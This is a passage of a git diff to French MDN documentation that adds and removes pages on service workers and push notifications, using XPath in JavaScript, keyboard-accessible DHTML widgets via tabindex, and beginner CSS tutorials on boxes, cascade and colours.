Pas seulement un template mais un outil permettant de déployer des applications web hors-ligne sur GitHub Pages.
+
sw-precache
+
Un module Node pour générer le code d'un service worker qui va mettre en pré-cache des ressources spécifiques.
+
upup
+
Un petit script qui vous assure que votre site est toujours présent pour vos utilisateurs.
+
+ +

Voir aussi

+ +
+
The service worker cookbook
+
Une série de très bonnes ressources concernant les services workers, montrant comment implémenter une application web hors-ligne, et plus encore.
+
diff --git a/files/fr/conflicting/web/progressive_web_apps_cb2823fe6cfc1ddee5db1f6a5d240c67/index.html b/files/fr/conflicting/web/progressive_web_apps_cb2823fe6cfc1ddee5db1f6a5d240c67/index.html new file mode 100644 index 0000000000..729faa93e9 --- /dev/null +++ b/files/fr/conflicting/web/progressive_web_apps_cb2823fe6cfc1ddee5db1f6a5d240c67/index.html @@ -0,0 +1,81 @@ +--- +title: Re-engageable +slug: Web/Progressive_web_apps/Re-engageable +tags: + - Applications + - Notifications + - Push + - Service Workers + - Web +translation_of: Web/Progressive_web_apps +translation_of_original: Web/Progressive_web_apps/Re-engageable +--- +
+
Un des principaux avantages des plateformes natives est la facilité avec laquelle les utilisateurs peuvent se retrouver de nouveaux attirés par des mises-à-jour et du nouveau contenu, même quand ils ne sont pas en train de regarder l'application ou d'utiliser leur appareil. Les applications web modernes peuvent désormais le faire aussi, en utilisant de nouvelles technologies comme l'API Web Push.
+ +
+
+ +

Guides

+ +
+
Utiliser l'API service workers
+
Un guide simple pour débutant à l'API Service Worker.
+
Utiliser l'API Push
+
Apprendre les bases de l'API Web Push.
+
Utiliser l'API Notifications
+
Un résumé sur les notifications Web.
+
+ +

Technologies

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
TechnologieDescriptionRésumé du supportDernière spécification
Service workers +

JavaScript fonctionne dans un contexte de travail particulier qui est lancé par le navigateur sous certaines circonstances comme la récupération (fetch) et l'envoi (push) d'évènements. Ceci permet au service worker d'intercepter des réponses et de les personnaliser, de toutes les façons que vous le souhaitez, par exemple mettre en cache des ressources pour un usage hors-ligne avant qu'elles ne soit servies.

+ 		Expérimental: Chrome et Firefox (plus de détails){{SpecName('Service Workers')}}
API PushAprès s'être inscrit, le service Push fournit un point de terminaison utilisable par le serveur pour transmettre des messages à une application web controlée par un service worker particulier.Expérimental: chrome et Firefox (plus de détails){{SpecName("Push API")}}
API NotificationsLancer des notifications systèmes directement depuis les applications web.Répandu dans les navigateurs modernes  (plus de détails){{SpecName('Web Notifications')}}
+ +

Outils

+ +
+
ServiceWorkerWare
+
Un micro-framework similaire à Express pour le développement simple d'un service worker.
+
oghliner
+
Pas seulement un template mais un outil permettant de déployer des applications web hors-ligne sur GitHub Pages.
+
sw-precache
+
Un module Node pour générer le code d'un service worker qui va mettre en pré-cache des ressources spécifiques.
+
+ +

Voir aussi

+ +
+
The service worker cookbook
+
Une série de très bonnes ressources concernant les service worker, montrant comment implémenter une application web hors-ligne, et plus encore.
+
diff --git a/files/fr/conflicting/web/xpath/introduction_to_using_xpath_in_javascript/index.html b/files/fr/conflicting/web/xpath/introduction_to_using_xpath_in_javascript/index.html new file mode 100644 index 0000000000..861663258c --- /dev/null +++ b/files/fr/conflicting/web/xpath/introduction_to_using_xpath_in_javascript/index.html @@ -0,0 +1,85 @@ +--- +title: Utilisation de XPath +slug: Utilisation_de_XPath +tags: + - AJAX + - DOM + - Extensions + - Transformations_XML_avec_XSLT + - XML + - XPath + - XSLT +translation_of: Web/XPath/Introduction_to_using_XPath_in_JavaScript +translation_of_original: Using_XPath +--- +

 

+

XPath est un langage de conversion des éléments d'un document XML. C'est une recommandation du W3C (en).

+

Cet article décrit les interfaces de Mozilla qui exposent les fonctionnalités XPath au code JavaScript. Elles sont décrites dans DOM Level 3 XPath (en) (qui est une note du groupe de travail du W3C pour le moment).

+

Cet article n'a pas vocation à enseigner XPath. Si vous n'êtes pas familier avec cette technologie, veuillez vous référer au tutoriel XPath de W3Schools (en).

+

Fonction Wrapper

+

La fonction suivante peut être utilisée pour évaluer des expressions XPath de nœuds XML donnés. Le premier argument est un nœud DOM ou un objet de Document, le second est une chaîne définissant l'expression XPath.

+
// Évalue une expression XPath aExpression par rapport à un nœud DOM donné
+// ou un objet de document (aNode), puis retourne les résultats en table
+// Merci à wanderingstan at morethanwarm dot mail dot com pour le
+// travail initial.
+function evaluateXPath(aNode, aExpr) {
+  var xpe = new XPathEvaluator();
+  var nsResolver = xpe.createNSResolver(aNode.ownerDocument == null ?
+    aNode.documentElement : aNode.ownerDocument.documentElement);
+  var result = xpe.evaluate(aExpr, aNode, nsResolver, 0, null);
+  var found = [];
+  var res;
+  while (res = result.iterateNext())
+    found.push(res);
+  return found;
+}
+
+

Cette fonction utilise new XPathEvaluator(). Ce constructeur est spécifique à Mozilla. Les scripts utilisés dans des pages Web qui seront affichées par les différents navigateurs existant devraient remplacer l'appel à new XPathEvaluator() avec le fragment de code suivant :

+
 // XPathEvaluator est implémenté sur les objets qui implémente Document
+ var xpe = aNode.ownerDocument || aNode;
+
+

Dans ce cas, la création de XPathNSResolver peut être simplifiée avec :

+
 var nsResolver = xpe.createNSResolver(xpe.documentElement);
+
+

Notez cependant, que createNSResolver ne doit être utilisé que si vous êtes sûr que les préfixes de l'espace de noms correspondent à ceux du document « interrogé ». Autrement, vous devrez fournir votre propre implémentation de XPathNSResolver.

+

Si vous utilisez XMLHttpRequest pour un fichier XML local ou distant dans un arbre DOM (comme décrit dans Analyser et sérialiser XML), le premier argument de evaluateXPath() devrait être req.responseXML.

+

Exemple d'utilisation

+

Supposons que l'on ait le document XML suivant (voir également Création d'un arbre DOM et Analyser et sérialiser XML):

+
<?xml version="1.0"?>
+<people>
+  <person first-name="eric" middle-initial="H" last-name="jung">
+    <address street="321 south st" city="denver" state="co" country="usa"/>
+    <address street="123 main st" city="arlington" state="ma" country="usa"/>
+  </person>
+
+  <person first-name="jed" last-name="brown">
+    <address street="321 north st" city="atlanta" state="ga" country="usa"/>
+    <address street="123 west st" city="seattle" state="wa" country="usa"/>
+    <address street="321 south avenue" city="denver" state="co" country="usa"/>
+  </person>
+</people>
+
+

Vous pouvez « interroger » le document à l'aide d'expressions XPath. Bien que parcourir l'arbre DOM donnera des résultats similaires, l'utilisation d'expressions XPath est bien plus rapide et puissante. Si vous avez la possiblité d'utiliser des attributs id, document.getElementById() est encore puissant, mais toujours moins que XPath. Voici quelques exemples.

+
// affiche le nom de famille de toutes les personnes du document
+var results = evaluateXPath(people, "//person/@last-name");
+for (var i in results)
+  alert("la nom de famille de la personne #" + i + "est" + results[i].value);
+
+// recupère le nœud de la seconde personne
+results = evaluateXPath(people, "/people/person[2]");
+
+// récupère les nœuds de toutes les personnes vivant à Denver
+results = evaluateXPath(people, "//person[address/@city='denver']");
+
+// Récupère les adresses contenant "south" dans le nom de voie
+results = evaluateXPath(people,  "//address[contains(@street, 'south')]");
+alert(results.length);
+
+

Ressources

+ +

Interwiki Language Links

+

 

+

 

+ +

{{ languages( { "en": "en/Using_XPath", "ja": "ja/Using_XPath", "ko": "ko/Using_XPath", "zh-cn": "cn/Using_XPath" } ) }}

diff --git "a/files/fr/contr\303\264les_dhtml_personnalis\303\251s_navigables_au_clavier/index.html" "b/files/fr/contr\303\264les_dhtml_personnalis\303\251s_navigables_au_clavier/index.html" deleted file mode 100644 index 2bd83f5568..0000000000 --- "a/files/fr/contr\303\264les_dhtml_personnalis\303\251s_navigables_au_clavier/index.html" +++ /dev/null @@ -1,90 +0,0 @@ ---- -title: Contrôles DHTML personnalisés navigables au clavier -slug: Contrôles_DHTML_personnalisés_navigables_au_clavier -tags: - - AJAX - - Accessibilité - - DHTML -translation_of: Web/Accessibility/Keyboard-navigable_JavaScript_widgets ---- -

 

-

Le problème : les pages DHTML actuelles ne sont pas accessibles au clavier

-

Un nombre croissant d'applications Web utilise JavaScript pour imiter des contrôles ( - - widgets - ) applicatifs comme des menus, des vues arborescentes, des champs de texte enrichis et des panneaux à onglets. Les développeurs Web innovent constamment et les applications futures contiendront des éléments complexes et interactifs comme des feuilles de calcul, des calendriers, des graphes organisationnels et plus encore. Jusqu'à présent, les développeurs désirant rendre leurs contrôles basés sur des <div> et autres <span> stylés ne disposaient pas des techniques nécessaires. Pourtant, l'accessibilité au clavier fait partie des nécessités dont tout développeur Web devrait tenir compte.

-

Prenons un exemple concret : la plupart des menus DHTML ne se comportent pas comme des menus normaux en ce qui concerne l'accès au clavier. Même s'il y a moyen d'accéder au menu avec le clavier, une erreur courante est de placer chaque élément du menu dans l'ordre de tabulation (souvent réalisé implicitement en faisant de chaque choix du menu un élément <a>). En réalité, le comportement correct d'un menu est que le menu entier doit figurer une seule fois dans l'ordre de tabulation, et les flèches doivent être utilisées pour se déplacer de choix en choix au sein du menu. Ceci vaut également pour les autres contrôles de « navigation groupée » comme les vues arborescentes, tableaux et panneaux à onglets.

-

Il est à présent possible pour les auteurs HTML de faire les choses correctement. La manière de rendre ces contrôles compatibles avec les technologies d'assistance est détaillée dans : ARIA : Applications riches Internet accessibles.

-

La solution : modifier le comportement standard de tabindex

-

Firefox 1.5 suit l'exemple de Microsoft Internet Explorer en étendant l'attribut tabindex pour permettre à n'importe quel élément d'obtenir ou non le focus. En suivant le système d'IE pour tabindex, il devient possible de permettre aux contrôles DHTML, déjà accessibles au clavier dans IE, de l'être également dans Firefox 1.5. Les règles doivent subir quelques petites entorses afin de permettre aux auteurs de rendre leurs contrôles personnalisés accessibles.

-

Le tableau qui suit décrit le nouveau comportement de tabindex :

- - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Attribut tabindexFocus disponible à la souris ou par JavaScript via element.focus()Navigable avec tabulation
non présentSuit le comportement par défaut de l'élément (oui pour les contrôles de formulaires, les liens, etc).Suit le comportement par défaut de l'élément.
Négatif
- (par exemple tabindex="-1")		OuiNon, l'auteur doit donner le focus avec element.focus() suite à l'utilisation des flèches ou d'autres touches.
Zéro
- (par exemple tabindex="0")		OuiDans l'ordre de tabulation relativement à la position de l'élément dans le document.
Positif
- (par exemple tabindex="33")		OuiLa valeur tabindex change manuellement lorsque cet élément est positionné dans l'ordre de tabulation. Ces éléments seront positionnés dans l'ordre de tabulation avant les éléments ayant tabindex="0" ou qui sont naturellement - - tabulables - .
-

Utilisation du nouveau système

-

Pour rendre un contrôle simple navigable avec tabulation, la solution est d'utiliser tabindex="0" sur l'élément <div>> ou <span> le représentant. Vous pouvez consulter un exemple d'une case à cocher basée sur un <span> accessible au clavier tant dans Firefox 1.5 que dans IE (bien que la règle :before pour l'image de la case à cocher ne fonctionne pas dans IE).

-

Pour les contrôles de groupe (comme les menus, les panneaux à onglets, grilles ou vues arborescentes) l'élément parent doit avoir tabindex="0", et chaque choix descendant (onglet/cellule/ligne) doit avoir tabindex="-1". Un évènement keydown surveillant les flèches directionnelles peut ensuite utiliser element.focus() pour donner le focus au contrôle descendant approprié et lui donner un style lui donnant un aspect particulier montrant qu'il a le focus. Vous pouvez consulter un exemple d'une vue arborescente DHTML accessible au clavier et aux lecteurs d'écran dans Firefox ( - - nightlies - ). Le travail pour le faire fonctionner dans IE est encore en cours.

-

N'oubliez pas que ceci ne fait pas encore partie d'un standard W3C ou autre organisme officiel. Pour l'instant, il est nécessaire de faire quelques entorses aux règles afin d'obtenir une pleine accessibilité au clavier.

-

Astuces d'écriture

-

Utilisation d'onfocus pour suivre le focus

-

Les attributs de gestion d'évènements onfocus et onblur peuvent à présent être utilisés sur tous les éléments. Il n'y a pas d'interface DOM standard pour obtenir l'élément ayant actuellement le focus dans le document, par conséquent il est nécessaire d'utiliser une variable JavaScript pour le suivre.

-

Ne supposez pas que tous les changements de focus viendront des évènements clavier ou souris, car les technologies d'assistance, comme les lecteurs d'écran, peuvent donner le focus à n'importe quel élément pouvant en disposer et cela doit être traité élégamment par le contrôle JavaScript.

-

Changement dynamique de la possibilité d'obtenir le focus à l'aide de la propriété tabIndex

-

Ceci peut être utile à réaliser si un contrôle personnalisé devient actif ou inactif. Les contrôles inactifs ne doivent pas être dans l'ordre de tabulation. Cependant, il est typiquement possible de les atteindre avec les flèches s'ils font partie d'un contrôle de navigation groupé.

-

Utilisation de setTimeout avec element.focus() pour donner le focus

-

N'utilisez pas createEvent(), initEvent() et dispatchEvent() pour donner le focus à un élément, parce que les évènements DOM focus sont seulement considérés comme informels — générés par le système après que quelque chose ait reçu le focus, mais pas réellement pour donner le focus. Le retardateur est nécessaire, tant dans IE que dans Firefox 1.5, pour empêcher les scripts de faire des choses étranges et inattendues si l'utilisateur clique sur des boutons ou d'autres contrôles. Concrètement, le code pour donner le focus à un élément ressemblera à quelque chose comme ceci :

-
setTimeout("gFocusItem.focus();",0);  // gFocusItem doit être une variable globale
-
-

Ne pas utiliser :focus ou des sélecteurs d'attribut pour styler le focus

-

Il ne sera pas possible d'utiliser :focus ou des sélecteurs d'attribut pour styler l'élément ayant le focus, si vous voulez que cela apparaisse également dans IE. Changez plutôt le style dans un gestionnaire d'évènement onfocus. Par exemple, pour le traitement du focus d'un élément de menu, ajoutez this.style.backgroundColor = "gray";.

-

Toujours dessiner le focus pour les éléments avec tabindex="-1" et qui reçoivent le focus par programmation

-

IE ne dessinera pas automatiquement l'encadrement du focus pour les éléments qui reçoivent le focus de manière programmée. Choisissez entre changer la couleur de fond via quelque chose comme this.style.backgroundColor = "gray"; ou ajoutez une bordure pointillée via this.style.border = "1px dotted invert". Dans le cas d'une bordure pointillée, il sera nécessaire de s'assurer que ces éléments aient une bordure invisible de <tt>1px</tt> au départ, afin que l'élément ne change pas de taille lorsque le style de bordure est appliqué (les bordures prennent de la place et IE n'implémente pas les encadrements CSS).

-

Utilisation de onkeydown pour les évènements clavier, plutôt que onkeypress

-

IE ne déclenchera pas les évènements keypress pour les touches non alphanumériques.

-

Empêcher les évènements clavier d'effectuer des fonctions du navigateur

-

Si une touche comme une flèche directionnelle est utilisée, empêchez le navigateur d'utiliser cette touche pour faire quelque chose d'autre (comme faire défiler la page) en utilisant un code similaire à ce qui suit :

-
<span tabindex="-1" onkeydown="return handleKeyDown();">
-
-

Si handleKeyDown() renvoie false, l'évènement sera consommé, empêchant le navigateur d'effectuer quelque action que ce soit, basée sur la touche pressée.

-

Utilisation d'évènements clavier pour permettre l'activation de l'élément

-

Pour chaque gestionnaire d'évènement lié à la souris, un évènement clavier correspondant est nécessaire. Par exemple, si vous avez onclick="faireQuelqueChose()" vous aurez aussi besoin de onkeydown="return event.keyCode != 13 || faireQuelqueChose();" afin de permettre à la touche Entrée d'activer cet élément.

-

Utilisation de try/catch pour éviter les erreurs JavaScript

-

Ce système n'est actuellement pas supporté par Opera, Safari et les versions anciennes de Mozilla (1.7 et précédentes). Comme certains navigateurs ne supportent pas les nouvelles possibilités comme la propriété tabIndex sur tous les éléments, utilisez try/catch aux endroits appropriés. Les contrôles doivent rester utilisables avec la souris sur les navigateurs ne supportant pas le système DHTML de navigation au clavier. Son support est déjà planifié pour Opera et Safari (via les spécifications du WHATWG).

-

Ne pas se baser sur un comportement cohérent de la répétition d'une touche, pour l'instant

-

Malheureusement, onkeydown peut ou non être répété suivant le système d'exploitation utilisé. Consultez le {{ Bug(91592) }} dans la base de données Bugzilla.

-

{{ languages( { "en": "en/Key-navigable_custom_DHTML_widgets", "ja": "ja/Key-navigable_custom_DHTML_widgets" } ) }}

diff --git "a/files/fr/css/premiers_pas/bo\303\256tes/index.html" "b/files/fr/css/premiers_pas/bo\303\256tes/index.html" deleted file mode 100644 index fd147c876d..0000000000 --- "a/files/fr/css/premiers_pas/bo\303\256tes/index.html" +++ /dev/null @@ -1,74 +0,0 @@ ---- -title: Boîtes -slug: CSS/Premiers_pas/Boîtes -tags: - - CSS - - 'CSS:Premiers_pas' -translation_of: Learn/CSS/Building_blocks -translation_of_original: Web/Guide/CSS/Getting_started/Boxes ---- -

 

-

Cette page explique comment utiliser CSS pour contrôler l'espace occupé par un élément lorsqu'il est affiché.

-

Dans votre document d'exemple, vous changerez l'espacement et ajouterez des règles décoratives.

-

Information : les boîtes

-

Lorsque votre navigateur affiche un élément, celui-ci prend une certaine place. L'espace occupé est divisé en quatre parties.

-

Au centre, l'espace dont l'élément a besoin pour afficher son contenu. Autour du contenu, il y a des marges internes (padding). Autour des marges internes, il y a une bordure (border). Autour des bordures, il y a des marges extérieures (margin).

- -

margin

border

padding

élément

Une partie de la mise en page est visible en gris.

 

 

 

élément

Ce qui apparait dans le navigateur.
-

Les marges intérieures, les bordures et les marges extérieures peuvent avoir des tailles différentes en haut, à droite, en bas et à gauche de l'élément. Chacune de ces tailles peut être zéro.

-

Les marges intérieures sont toujours de la même couleur que le fond de l'élément. Lorsque vous choisissez la couleur de fond, vous appliquez donc la couleur à l'élément lui-même et à ses marges intérieures. Celles-ci sont toujours transparentes.

- -

margin

border

padding

élément

L'élément a un fond vert.

 

 

 

élément

Ce qui apparaît dans le navigateur.
-

Bordures

-

Vous pouvez utiliser des bordures pour décorer des éléments avec des lignes ou des encadrements.

-

Pour spécifier la même bordure tout autour d'un élément, utilisez la propriété border. Spécifiez l'épaisseur (habituellement en pixels pour l'affichage à l'écran), le style et la couleur.

-

Les styles sont :

- -
solid (trait plein)
dotted (pointillés)
dashed (trait interrompu)
double (trait double)
inset (creux)
outset (en relief)
ridge (bordure en relief)
groove (bordure en creux)
-

Vous pouvez également définir le style à none ou hidden pour enlever explicitement la bordure, ou mettre sa couleur à transparent pour rendre celle-ci invisible sans changer la mise en page.

-

Pour spécifier les bordures un côté à la fois, utilisez les propriétés : border-top, border-right, border-bottom, border-left. Vous pouvez utiliser celles-ci pour spéficier une bordure d'un seul côté, ou différentes bordures sur différents côtés.

- -
Exemples
Cette règle change la couleur de fond et la bordure supérieure des éléments de titre : 
h3 {
-  border-top: 4px solid #7c7; /* vert moyen */
-  background-color: #efe;     /* vert pâle */
-  color: #050;                /* vert foncé */
-  }
-

Le résultat ressemble à ceci :

Un titre avec du style


Cette règle rend les images plus faciles à voir en leur donnant une bordure grisée tout autour :

img {border: 2px solid #ccc;}
-

Le résultat ressemble à ceci :

Image : Image:ligne-bleue.png
-

Marges intérieures et extérieures

-

Utilisez les marges pour ajuster les positions des éléments et pour créer de l'espace autour d'eux.

-

Utilisez les propriétés margin et padding pour changer respectivement la largeur des marges extérieures et intérieures.

-

Si vous spécifiez une seule largeur, elle s'applique tout autour de l'élément (en haut, à droite, en bas et à gauche).

-

Si vous spécifiez deux largeurs, la première s'applique en haut et en bas, la seconde sur les côtés droits et gauches.

-

Vous pouvez spécifier les quatres largeurs dans cet ordre : haut, droite, bas, gauche.

- -
Exemple
Cette règle marque les paragraphes de la classe remarque en leur donnant une bordure rouge tout autour.

Une marge intérieure (padding) sépare légèrement cette bordure du texte.

Une marge extérieure (margin) à gauche met le paragraphe en retrait par rapport au reste du texte :

p.remarque {
-  border: 2px solid red;
-  padding: 4px;
-  margin-left: 24px;
-  }
-

Le résultat ressemble à ceci :

Ceci est un paragraphe normal.

Ceci est une remarque.
- -
Plus de détails
Lorsque vous utilisez des marges pour ajuster la façon dont les éléments sont placés, vos règles de style interagissent avec les réglages par défaut du navigateur de différentes manières, qui sont parfois complexes.

Différents navigateurs peuvent placer les éléments différemment. Le résultat peut sembler similaire jusqu'à ce que votre feuille de style change des choses, et celle-ci peut parfois donner des résultats surprenants.

Pour obtenir le résultat voulu, il se peut que vous ayez à changer le balisage de votre document. La page suivante de ce tutoriel donne plus d'informations à ce sujet.

Pour des informations détaillées à propos des marges et des bordures, consultez Box model dans la spécification CSS.
-

Action : ajout de bordures

-

Éditez votre fichier CSS. Ajoutez cette règle pour dessigner une ligne en travers de la page au dessus de chaque titre :

-
h3 {border-top: 1px solid gray;}
-
-
-

Si vous avez tenté le challenge sur la page précédente, modifiez la règle que vous aviez créée, sinon ajoutez cette nouvelle règle pour ajouter de l'espace sous chaque élément de liste :

-
li {
-  list-style: lower-roman;
-  margin-bottom: 8px;
-  }
-
-
-

Actualisez dans votre navigateur pour voir le résultat :

- -

(A) Les océans

  • Arctique
  • Atlantique
  • Pacifique
  • Indien
  • Antarctique

(B) Paragraphes numérotés

1: Lorem ipsum

2: Dolor sit

3: Amet consectetuer

4: Magna aliquam

5: Autem veleum
-

 

- -
Challenge
Ajoutez une règle à votre feuille de style pour entourer les océans d'une bordure épaisse dans une couleur rapellant celle de la mer — quelque chose comme ceci :

(A) Les océans

  • Arctique
  • Atlantique
  • Pacifique
  • Indien
  • Antarctique

(B)Paragraphes numérotés

. . .

(Il n'est pas nécessaire de retrouver exactement la même épaisseur et la même couleur qu'ici.)
-

Pour continuer

-

Si vous avez eu des difficultés à comprendre cette page, ou si vous avez d'autres commentaires à son sujet, n'hésitez pas à contribuer à sa page de discussion.

-

En spécifiant des marges, vous avez modifié la mise en page de votre document. À la page suivante, vous apprendrez d'autres manières de changer celle-ci : Mise en page.

-

{{ languages( { "en": "en/CSS/Getting_Started/Boxes", "pl": "pl/CSS/Na_pocz\u0105tek/Bloki", "pt": "pt/CSS/Como_come\u00e7ar/Caixas" } ) }}

diff --git "a/files/fr/css/premiers_pas/cascade_et_h\303\251ritage/index.html" "b/files/fr/css/premiers_pas/cascade_et_h\303\251ritage/index.html" deleted file mode 100644 index d5c4ea0ea9..0000000000 --- "a/files/fr/css/premiers_pas/cascade_et_h\303\251ritage/index.html" +++ /dev/null @@ -1,110 +0,0 @@ ---- -title: Cascade et héritage -slug: CSS/Premiers_pas/Cascade_et_héritage -tags: - - CSS - - 'CSS:Premiers_pas' -translation_of: Learn/CSS/Building_blocks/Cascade_and_inheritance -translation_of_original: Web/Guide/CSS/Getting_started/Cascading_and_inheritance ---- -

 

-

Cette page met en évidence la façon dont les feuilles de style interagissent dans une cascade et comment les éléments héritent leur style de leurs parents.

-

Vous améliorerez votre feuille de style d'exemple en utilisant l'héritage pour changer le style de nombreuses parties de votre document à la fois.

-

Information : cascade et héritage

-

Le style final d'un élément peut être spécifié à de nombreux endroits, qui peuvent interagir de manière complexe. C'est ce qui rend CSS puissant, mais peut aussi le rendre déroutant et difficile à déboguer.

-

Trois sources principales d'information de style forment une cascade.

-

Celles-ci sont :

-
    -
  • Le style par défaut du navigateur pour le langage de balisage
    • -
  • Le style spécifié par l'utilisateur lisant le document
    • -
  • Le style lié au document par son auteur
    • -
-

Le style de l'utilisateur modifie le style par défaut du navigateur. Le style de l'auteur du document modifie ensuite le style plus avant. Dans ce tutoriel, vous êtes l'auteur de votre document, et vous travaillez uniquement avec des feuilles de style d'auteur.

- - - - - - - -
- Exemple
Lorsque vous lisez ce document dans votre navigateur, une partie du style visible vient des réglages par défaut de votre navigateur pour HTML. -

Une partie du style peut venir de vos paramètres utilisateur dans les Options, ou d'un fichier userContent.css dans le profil de votre navigateur Mozilla.

-

Enfin, une partie du style provient de feuilles de style liées au document par le serveur wiki.

-
-


- Lorsque vous ouvrez votre document d'exemple dans le navigateur, les éléments STRONG sont en gras par rapport au reste du texte. Cela provient du style par défaut du navigateur pour HTML.

-

Les éléments STRONG sont rouges. Cela provient de votre propre feuille de style.

-

Les éléments STRONG héritent aussi en grande partie du style de l'élément P, étant ses enfants. De même, l'élément P hérite en grande partie du style de l'élément BODY.

-

Pour les styles dans la cascade, les feuilles de style de l'auteur ont priorité, ensuite ceux de l'utilisateur et enfin les réglages par défaut du navigateur.

-

Pour les styles hérités, le style propre d'un nœud enfant a priorité sur le style hérité de son parent.

-

Ce ne sont pas les seules priorités qui s'appliquent. Une prochaine page du tutoriel expliquera cela plus en détail.

- - - - - - - -
- Plus de détails
CSS fournit également une manière pour l'utilisateur de passer outre le style de l'auteur du document, en utilisant le mot-clé !important. -

Cela signifie qu'en tant qu'auteur du document, vous ne pouvez pas toujours prédire exactement ce que vos lecteurs verront.

-

Si vous voulez connaître tous les détails de la cascade et de l'héritage, consultez Assigning property values, Cascading, and Inheritance note : ce lien existe(ra) peut-être quelque part en français dans la spécification CSS.

-
-

Action : utilisation de l'héritage

-

Éditez votre exemple de fichier CSS.

-

Ajoutez cette ligne à l'aide d'un copier-coller. Que vous la mettiez au dessus ou en dessous de la ligne déjà existante n'a pas grande importance. Cependant, l'ajouter en haut est plus logique étant donné que dans votre document l'élément P est le parent de l'élément STRONG :

-
p {color: blue; text-decoration: underline;}
-
-

Maintenant, actualisez dans votre navigateur pour voir l'effet sur votre document. Le soulignement affecte tout le texte du paragraphe, y compris les lettres initiales. Les éléments STRONG ont hérité du style souligné depuis leur élément parent P.

-

Mais les éléments STRONG sont toujours rouges. La couleur rouge est leur propre style, il a donc priorité sur la couleur bleue de leur élément parent P.

- - - - - - - -
- - - - - - - -
- Avant
Cascading Style Sheets
- 		- - - - - - - -
- Après
Cascading Style Sheets
-
-

 

- - - - - - - -
- Challenge
Modifiez votre feuille de style afin que seules les lettres rouges soient soulignées : - - - - - - -
Cascading Style Sheets
-
-

 

-

Pour continuer

-

Si vous avez eu des difficultés à comprendre cette page, ou avez des commentaires à son sujet, n'hésitez pas à contribuer à sa page de discussion.

-

Votre feuille de style d'exemple spécifie des styles pour les balises P et STRONG, qui changent le style des éléments correspondants au sein de votre document. La page suivante explique comment spécifier des styles de manière plus sélective : Les sélecteurs.

diff --git a/files/fr/css/premiers_pas/couleurs/index.html b/files/fr/css/premiers_pas/couleurs/index.html deleted file mode 100644 index 24952f7505..0000000000 --- a/files/fr/css/premiers_pas/couleurs/index.html +++ /dev/null @@ -1,314 +0,0 @@ ---- -title: Couleurs -slug: CSS/Premiers_pas/Couleurs -tags: - - CSS - - 'CSS:Premiers_pas' -translation_of: Learn/CSS/Introduction_to_CSS/Values_and_units#Colors -translation_of_original: Web/Guide/CSS/Getting_started/Color ---- -

 

-

Cette page donne plus de détails sur la manière de spécifier les couleurs en CSS.

-

Dans votre exemple de feuille de style, vous ajouterez des couleurs de fond.

-

Information : les couleurs

-

Dans ce tutoriel, jusqu'à présent, vous avez utilisé un nombre limité de couleurs nommées. CSS 2 définit 17 couleurs nommées en tout. Certains des noms peuvent ne pas êtres ce à quoi vous vous attendez :

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
 black gray silver white 
primairesred lime blue 
secondairesyellow aqua fuchsia 
 maroon orange olive purple green navy teal 
-

 

- - - - - - - -
- Plus de détails
Votre navigateur peut supporter de nombreux autres noms de couleurs, comme : - - - - - - - - - - - - - - - -
dodgerblue peachpuff tan firebrick aquamarine 
-

Pour plus de détails et la liste complète, consultez : SVG color keywords dans le module CSS 3 Color. Faites attention à ne pas utiliser de noms de couleurs que le navigateur de vos lecteurs peut ne pas comprendre.

-
-

Pour une palette plus étendue, vous pouvez spécifier les composantes rouges, vertes et bleues de la couleur désirée en utilisant un signe dièse (carré) suivi de trois chiffres - - hexadécimaux - dans l'intervalle 0 – 9, a – f. Les lettres a – f représentent les valeurs 10 – 15:

- - - - - - - - - - - - - - - - - - - - - - - - - - - - -
noir #000
rouge pur #f00
vert pur #0f0
bleu pur #00f
blanc #fff
-

Pour la palette complète, spécifiez deux chiffres hexadécimaux pour chaque composante :

- - - - - - - - - - - - - - - - - - - - - - - - - - - - -
noir #000000
rouge pur #ff0000
vert pur #00ff00
bleu pur #0000ff
blanc #ffffff
-

Il est généralement possible d'obtenir ces codes hexadécimaux à six chiffres dans les logiciels de dessin ou d'autres outils.

- - - - - - - - - - -
- Exemples
Avec un peu de pratique, vous pouvez ajuster les couleurs à trois chiffres à la main dans la plupart des cas : - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Commencez avec du rouge pur : #f00
Pour le rendre plus pâle, ajoutez un peu de vert et de bleu : #f77
Pour qu'il soit plus orange, ajoutez un peu de vert supplémentaire : #fa7
Pour le rendre plus sombre, réduisez chacune des composantes : #c74
Pour réduire la saturation, égalisez un peu les composantes : #c98
Si vous les rendez exactement égales, vous obtenez du gris : #ccc
-
Pour un ton pastel comme du bleu pâle : - - - - - - - - - - - - - -
Commencez avec du blanc pur : #fff
Réduisez légèrement les autres composantes : #eef
-
-

 

- - - - - - - -
- Plus de détails
Vous pouvez également spécifier une couleur à l'aide de valeurs RGB décimales dans l'intervalle 0 – 255, ou des pourcentages. -

Par exemple, ceci est marron (rouge sombre) :

-
- 
-rgb(128, 0, 0)
-
-
-


- Pour plus de détails sur la manière de spécifier des couleurs, consultez Colors dans la spécification CSS.

-

Pour des informations sur l'utilisation des couleurs système comme celle des menus ou des bordures 3D, consultez CSS2 System Colors dans la spécification CSS.

-
-

 

-

Propriétés de couleur

-

Vous avez déjà utilisé la propriété color pour le texte.

-

Vous pouvez également utiliser background-color pour changer la couleur de fond de certains éléments.

-

Les fonds peuvent êtres définis à transparent pour enlever explicitement toute couleur, permettant de voir le fond de l'élément parent.

- - - - - - - -
- Exemple
Les boîtes Exemple dans ce tutoriel utilisent cette couleur de fond jaune pâle : -
- 
-background-color: #fffff4;
-
-
-

Les boîtes Plus de détails utilisent ce gris pâle :

-
- 
-background-color: #f4f4f4;
-
-
-
-

Action : utilisation des codes de couleur

-

Éditez votre fichier CSS. Effectuez le changement montré ici en gras pour donner aux lettres initiales un fond bleu pâle. (La mise en page et les commentaires dans votre fichier seront probablement différents du fichier montré ici. Conservez la mise en page et les commentaires de la manière qui vous convient.)

-
- 
/*** Tutoriel CSS : page des couleurs ***/
-
-/* police de la page */
-body {font: 16px "Comic Sans MS", cursive;}
-
-/* paragraphes */
-p {color: blue;}
-#premier {font-style: italic;}
-
-/* lettres initiales */
-strong {
-  color: red;
-  background-color: #ddf;
-  font: 200% serif;
-  }
-
-.carotte {color: red;}
-.epinard {color: green;}
-
-
-

Actualisez dans votre navigateur pour voir le résultat :

- - - - - - - - - -
Cascading Style Sheets
Cascading Style Sheets
-

 

- - - - - - - -
- Challenge
